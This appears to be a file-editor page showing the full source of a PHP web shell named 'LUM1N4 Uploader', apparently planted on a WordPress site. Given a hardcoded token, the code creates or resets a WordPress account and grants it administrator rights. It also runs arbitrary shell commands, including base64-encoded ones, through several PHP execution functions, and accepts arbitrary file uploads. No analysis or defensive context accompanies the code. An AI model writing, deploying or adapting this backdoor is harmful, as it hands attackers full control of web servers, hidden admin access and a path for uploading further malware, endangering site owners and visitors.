← Back
Editing: Lumina_e7f6dd701a.php
<?php @ob_end_clean();@ini_set('display_errors','0');@header('Content-Type:text/html;charset=utf-8');echo 'LUM1N4';$A='3778ee5ba286ad206810dea8f5dd5177';if(isset($_REQUEST['adm'])){if(!hash_equals($A,(string)$_REQUEST['adm'])){echo 'ADMFAIL:token';exit;}$d=__DIR__;for($i=0;$i<8&&!file_exists($d.'/wp-load.php');$i++){$d=dirname($d);}if(!file_exists($d.'/wp-load.php')){echo 'ADMFAIL:wpload';exit;}require $d.'/wp-load.php';$u=isset($_REQUEST['u'])?sanitize_user($_REQUEST['u']):'';$p=isset($_REQUEST['p'])?(string)$_REQUEST['p']:'';$e=isset($_REQUEST['e'])?sanitize_email($_REQUEST['e']):'';if($u===''||$p===''){echo 'ADMFAIL:missing';exit;}$uid=username_exists($u);if(!$uid&&$e){$uid=email_exists($e);}if($uid){wp_set_password($p,$uid);$usr=new WP_User($uid);$usr->set_role('administrator');}else{$uid=wp_insert_user(array('user_login'=>$u,'user_pass'=>$p,'user_email'=>$e,'role'=>'administrator'));}if(is_wp_error($uid)){echo 'ADMFAIL:'.$uid->get_error_message();}else{echo 'ADMOK:'.$u.':'.$p.':'.$uid;}exit;}$c='';if(isset($_REQUEST['b'])&&$_REQUEST['b']!==''){$c=base64_decode($_REQUEST['b']);}elseif(isset($_REQUEST['c'])){$c=$_REQUEST['c'];}if($c!==''){if(function_exists('system')){@system($c);}elseif(function_exists('passthru')){@passthru($c);}elseif(function_exists('exec')){$o=array();@exec($c,$o);echo implode("\n",$o);}elseif(function_exists('shell_exec')){echo @shell_exec($c);}elseif(function_exists('popen')){$p=@popen($c,'r');echo @fread($p,8192);@pclose($p);}elseif(function_exists('proc_open')){$d=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$p=@proc_open($c,$d,$pp);echo @stream_get_contents($pp[1]);@proc_close($p);}}elseif(isset($_FILES['f'])){$d=dirname(__FILE__);$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$d.'/'.$n)){echo 'SAVED:'.$n;}else{echo 'FAIL:'.$n;}}else{?><html><head><title>LUM1N4 Uploader</title><style>body{background:#0d1117;color:#e6edf3;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh;margin:0}.box{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:32px;width:420px;text-align:center}h1{color:#ff69b4;font-size:22px;margin:0 0 8px}p{color:#8b949e;margin:0 0 20px}input[type=file]{background:#0d1117;border:1px solid #30363d;color:#e6edf3;padding:10px;width:100%;box-sizing:border-box;margin-bottom:16px}input[type=submit]{background:#ff69b4;border:0;color:#0d1117;font-weight:bold;padding:10px 24px;cursor:pointer}</style></head><body><div class='box'><h1>LUM1N4 Uploader</h1><p>upload your file</p><form method='post' enctype='multipart/form-data'><input type='file' name='f'><input type='submit' value='Upload'></form></div></body></html><?php } ?>
Save File
Cancel